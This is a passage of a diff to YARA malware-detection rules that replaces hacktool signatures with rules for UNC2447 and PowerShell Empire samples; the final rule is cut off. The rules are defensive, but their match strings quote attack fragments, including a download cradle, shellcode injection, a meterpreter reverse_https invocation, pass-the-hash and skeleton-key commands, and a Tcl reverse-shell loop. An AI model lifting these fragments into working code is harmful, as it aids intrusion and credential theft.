+		$s2 = "%s\\read_me_lkd.txt" wide fullword
+		$s3 = "/C ping 127.0.0.1 & del %s" wide fullword
+		$s4 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
+		$sop1 = { 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc ff 15 ?? ?? 42 00 }
+		$sop2 = { 74 12 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc }
 
 	condition:
-		( filesize <2KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <600KB and 1 of ($x*) or 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sharpire : FILE
+rule SIGNATURE_BASE_APT_UNC2447_PS1_WARPRISM_May21_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Sharpire.exe"
+		description = "Detects WARPRISM PowerShell samples from UNC2447 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "747f2798-4f93-5073-b358-969060a1c937"
-		date = "2017-09-23"
-		modified = "2022-12-21"
-		reference = "https://github.com/0xbadjuju/Sharpire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4038-L4061"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1437b4c5229761bcc18d97ea6328866f4b9c763461fa6ecb5c18e6f3961c3114"
+		id = "fa389a45-3b31-5a84-9882-49fd6ee8cac5"
+		date = "2021-05-01"
+		modified = "2023-12-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2447_sombrat.yar#L101-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "09abac2be0f12d31dabfdae9e8a148a28887a2a5df003c7bcb56ba45f1c6a62c"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "327a1dc2876cd9d7f6a5b3777373087296fc809d466e42861adcf09986c6e587"
+		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
+		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
+		hash3 = "b41a303a4caa71fa260dd601a796033d8bfebcaa6bd9dfd7ad956fac5229a735"
 
 	strings:
-		$x1 = "\\obj\\Debug\\Sharpire.pdb" ascii
-		$x2 = "[*] Upload of $fileName successful" fullword wide
-		$s1 = "no shell command supplied" fullword wide
-		$s2 = "/login/process.php" fullword wide
-		$s3 = "invokeShellCommand" fullword ascii
-		$s4 = "..Command execution completed." fullword wide
-		$s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
-		$s6 = "/admin/get.php" fullword wide
-		$s7 = "[!] Error in stopping job: " fullword wide
+		$x1 = "if ($MyInvocation.MyCommand.Path -match '\\S') {" ascii fullword
+		$s1 = "[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr " ascii wide
+		$s2 = "[Runtime.InteropServices.Marshal]::Copy($" ascii wide
+		$s3 = "[System.Diagnostics.Process]::Start((-join(" ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) and 3 of them ))
+		filesize <5000KB and 1 of ($x*) or 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Invoke_Metasploit : FILE
+rule SIGNATURE_BASE_APT_UNC2447_BAT_Runner_May21_1 : FILE
 {
 	meta:
-		description = "Detects Invoke-Metasploit Payload"
+		description = "Detects Batch script runners from UNC2447 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40452884-df3f-5b49-ad10-05006cb115f2"
-		date = "2017-09-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/jaredhaight/Invoke-MetasploitPayload/blob/master/Invoke-MetasploitPayload.ps1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4071-L4086"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ef174008517b101be844e30890626378f49a275bad3f08ce25fb8d6118c77c3"
+		id = "0bacd4f7-421a-570f-9f74-5a19ab806dd0"
+		date = "2021-05-01"
+		modified = "2023-01-07"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2447_sombrat.yar#L121-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9872327f648e4421aa40ca3ce55df5d3eb5e8c5bc718ff62a3d4adac79217eb"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b36d3ca7073741c8a48c578edaa6d3b6a8c3c4413e961a83ad08ad128b843e0b"
+		hash1 = "ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc"
 
 	strings:
-		$s1 = "[*] Looks like we're 64bit, using regular powershell.exe" ascii wide
-		$s2 = "[*] Kicking off download cradle in a new process"
-		$s3 = "Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'"
+		$x1 = "powershell.exe -c \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([IO.File]::" ascii
+		$x2 = "wwansvc.txt')))\" | powershell.exe -" ascii
 
 	condition:
-		( filesize <20KB and 1 of them )
+		filesize <5000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Powershell_Mal_Hacktool_Gen : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Bypassuac : FILE
 {
 	meta:
-		description = "Detects PowerShell hack tool samples - generic PE loader"
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d1fc4594-d816-5d02-bff6-3f220477b555"
-		date = "2017-11-02"
+		id = "8454d929-e184-5be1-b61f-4dfa8f44bdda"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4088-L4104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "273222cde3ff155cef09c25192dcb4865179e8172e625fe8f43b21a13fe1a170"
-		score = 75
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L9-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
+		logic_hash = "1697065405fa0e255cdd77fa39f53866118caf0bad6a3d72756590303610e7b6"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d442304ca839d75b34e30e49a8b9437b5ab60b74d85ba9005642632ce7038b32"
 
 	strings:
-		$x1 = "$PEBytes32 = 'TVqQAAMAAAAEAAAA" wide
-		$x2 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword wide
-		$x3 = "@($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword wide
-		$x4 = "(Shellcode: LoadLibraryA.asm)" fullword wide
+		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii
+		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii
+		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii
 
 	condition:
-		filesize <8000KB and 1 of them
+		filesize <1200KB and 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_Remoteadmin_1 : FILE
+rule SIGNATURE_BASE_Empire_Lib_Modules_Trollsploit_Message : FILE
 {
 	meta:
-		description = "Detects strings from well-known APT malware"
+		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "da55084c-ec1f-5800-a614-189dce7b5820"
-		date = "2017-12-03"
+		id = "cb0eee5a-c236-512e-8256-7411a7fb1fd5"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4106-L4120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "81912bbfc1f6ac3ec7c54fc935b9ed531c97ad509cf2c096a19e638836cd0baf"
-		score = 45
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
+		logic_hash = "70b7d91395ae30131c1448511425abf32ddedf04632266454aa008330ff28222"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "Radmin, Remote Administrator" wide
-		$ = "Radmin 3.0" wide
+		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii
+		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii
+		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii
+		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
+		filesize <10KB and 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Remcom_Remotecommandexecution
+rule SIGNATURE_BASE_Empire_Persistence : FILE
 {
 	meta:
-		description = "Detects strings from RemCom tool"
+		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "90b4ce3c-a690-5b6e-95e8-7e5dc8270152"
-		date = "2017-12-28"
+		id = "0f63b5f4-f933-5821-b0b0-50717e75f6d9"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tezXZt"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4122-L4137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c39a09c8d0c1799febcb4d9eafece43f8b21e7ffc277fdfad6c235eb1a201697"
-		score = 50
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L47-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
+		logic_hash = "3c398aa180b6f2225a25f9b1430e89991c7e391930e2be140e89c67da67b3614"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "\\\\.\\pipe\\%s%s%d"
-		$ = "%s\\pipe\\%s%s%d%s"
-		$ = "\\ADMIN$\\System32\\%s%s"
+		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii
+		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii
+		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii
 
 	condition:
-		1 of them
+		filesize <108KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Crackmapexec_EXE : FILE
+rule SIGNATURE_BASE_Empire_Portscan : FILE
 {
 	meta:
-		description = "Detects CrackMapExec hack tool"
+		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9fcfba98-7ba1-5810-99b7-62ad2b1aa4c0"
-		date = "2018-04-06"
+		id = "23a0f769-9155-5aa0-9200-2baf827bdda4"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4139-L4155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa05fa41d6aaed45a9b44806a310fdb584874f7eb382e576b36e6d1db87cef88"
-		score = 85
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L65-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
+		logic_hash = "162ac4ccc8629a2d017831cdc6d1bf8d7a62b844bf68a0d61956b2f41a5e004b"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
 
 	strings:
-		$s1 = "core.scripts.secretsdump(" ascii
-		$s2 = "core.scripts.samrdump(" ascii
-		$s3 = "core.uacdump(" ascii
+		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii
+		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and 2 of them
+		filesize <14KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Imphash_Passrevealer_PY_EXE : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Shellcode : FILE
 {
 	meta:
-		description = "Detects an imphash used by password revealer and hack tools (some false positives with hardware driver installers)"
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9462dfc4-2feb-591d-ac0c-ba02f093c216"
-		date = "2018-04-06"
-		modified = "2021-11-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4157-L4175"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "684e901eebf47e2bd8b25fd302963c2761376ce4754d74f9e6f1eb3024c89144"
-		score = 40
+		id = "41788f71-cc99-50b3-bdc7-17b132ab2767"
+		date = "2015-08-06"
+		modified = "2023-12-05"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L82-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
+		logic_hash = "968a140f75aa17bd9aac243483cade931dc047854b65b2f61146492c2cf01ea5"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$fp1 = "Assmann Electronic GmbH" ascii wide
-		$fp2 = "Oculus VR" ascii wide
-		$fp3 = "efm8load" ascii
+		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii
+		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii
+		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and pe.imphash()=="ed61beebc8d019dd9bec823e2d694afd" and not 1 of ($fp*)
+		filesize <100KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Unknown_Pwdumper_Apr18_3 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Mimikatz : FILE
 {
 	meta:
-		description = "Detects sample from unknown sample set - IL origin"
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2431d562-dcd8-5d21-8406-7d2567b6eca9"
-		date = "2018-04-06"
+		id = "f7d6c1c4-2a24-54fd-b745-32d7894affc8"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4177-L4196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf0dff02bdfa239336b2bc865f2a9aed6d20cafb059caa87a60aa30269dd94b5"
-		score = 75
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L100-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
+		logic_hash = "3e16bed3dd7b36920cdf01507f35e38d004e3ce2f3301911a8ee4aedbae6c5c3"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d435e7b6f040a186efeadb87dd6d9a14e038921dc8b8658026a90ae94b4c8b05"
-		hash2 = "8c35c71838f34f7f7a40bf06e1d2e14d58d9106e6d4e6f6e9af732511a126276"
 
 	strings:
-		$s1 = "loaderx86.dll" fullword ascii
-		$s2 = "tcpsvcs.exe" fullword wide
-		$s3 = "%Program Files, Common FOLDER%" fullword wide
-		$s4 = "%AllUsers, ApplicationData FOLDER%" fullword wide
-		$s5 = "loaderx86" fullword ascii
-		$s6 = "TNtDllHook$" fullword ascii
+		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii
+		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii
+		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		filesize <2500KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Processinjector_Gen : HIGHVOL FILE
+rule SIGNATURE_BASE_Empire_Lib_Modules_Credentials_Mimikatz_Pth : FILE
 {
 	meta:
-		description = "Detects a process injection utility that can be used ofr good and bad purposes"
+		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b0b6ac7-8432-5f93-b389-c2356ec75113"
-		date = "2018-04-23"
+		id = "f954b7e8-e820-5111-ba8d-a9b9779381b0"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/cuckoosandbox/monitor/blob/master/bin/inject.c"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4198-L4219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90d200e79c97911b105e592549bc2c04fb09ce841413c30117d421b45bb9988c"
-		score = 60
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L118-L133"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
+		logic_hash = "6989c2e50ce642e0300e1293f46cd36e5141274d1e7172a8312595bb515bede2"
+		score = 70
 		quality = 85
-		tags = "HIGHVOL, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "456c1c25313ce2e2eedf24fdcd4d37048bcfff193f6848053cbb3b5e82cd527d"
 
 	strings:
-		$x1 = "Error injecting remote thread in process:" fullword ascii
-		$s5 = "[-] Error getting access to process: %ld!" fullword ascii
-		$s6 = "--process-name <name>  Process name to inject" fullword ascii
-		$s12 = "No injection target has been provided!" fullword ascii
-		$s17 = "[-] An app path is required when not injecting!" fullword ascii
+		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
+		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and (pe.imphash()=="d27e0fa013d7ae41be12aaf221e41f9b" or 1 of them ) or 3 of them
+		filesize <12KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Lazagne_PW_Dumper
+rule SIGNATURE_BASE_Empire_Write_Hijackdll : FILE
 {
 	meta:
-		description = "Detects Lazagne PW Dumper"
-		author = "Markus Neis / Florian Roth"
-		id = "1904029e-9336-5278-ae2e-4bc853316600"
-		date = "2018-03-22"
+		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6a80af21-fb01-5996-b14d-44ff55b7fb3e"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/AlessandroZ/LaZagne/releases/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4221-L4235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2eac81d5cecdaca7eeaa83be70a688a595f8bbf54679ee565ba325b9e384552b"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L135-L151"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
+		logic_hash = "e01157fe4adaf647474292bfbbb8196c0b7e89433da52a386a8d9573ae543679"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Crypto.Hash" fullword ascii
-		$s2 = "laZagne" fullword ascii
-		$s3 = "impacket.winregistry" fullword ascii
+		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii
+		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii
+		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii
 
 	condition:
-		3 of them
+		filesize <500KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Tclsh : FILE
+rule SIGNATURE_BASE_Empire_Skeleton_Key : FILE
 {
 	meta:
-		description = "Detects suspicious TCLsh popshell"
-		author = "Tobias Michalski"
-		id = "24f6b626-383e-54c9-abd4-bd67c37af937"
-		date = "2018-05-18"
+		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d508e09e-13e8-5866-bb5b-0d886f960bb5"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4237-L4249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "622805e8067f5158d82783971dcf31e8db05f1d52a38bd1ec3e76ddbbd78032b"
-		score = 65
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L153-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
+		logic_hash = "910451b2b2ed7cb5f7891d97d15e49da24b182adc903926f539fc4bfe589f2d5"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "9f49d76d70d14bbe639a3c16763d3b4bee92c622ecb1c351cb4ea4371561e133"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "{ puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if" ascii
+		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii
+		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii
+		$s3 = "command = \"misc::skeleton\"" fullword ascii
+		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii
 
 	condition:
-		filesize <1KB and 1 of them
+		filesize <6KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Ruby : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Wmi : FILE
 {
 	meta:
-		description = "Detects suspicious ruby shellpop"
-		author = "Tobias Michalski"
-		id = "cb3a93d5-02a1-5a49-b37e-3f9312b993ea"
-		date = "2018-05-18"
+		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1e1d1e71-6ea9-500a-b8b8-c48a64bc2b54"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4251-L4263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa076540ef01d04117d3340f4d84c21f79acfc558ed4aa585d801b6a6bc797a2"
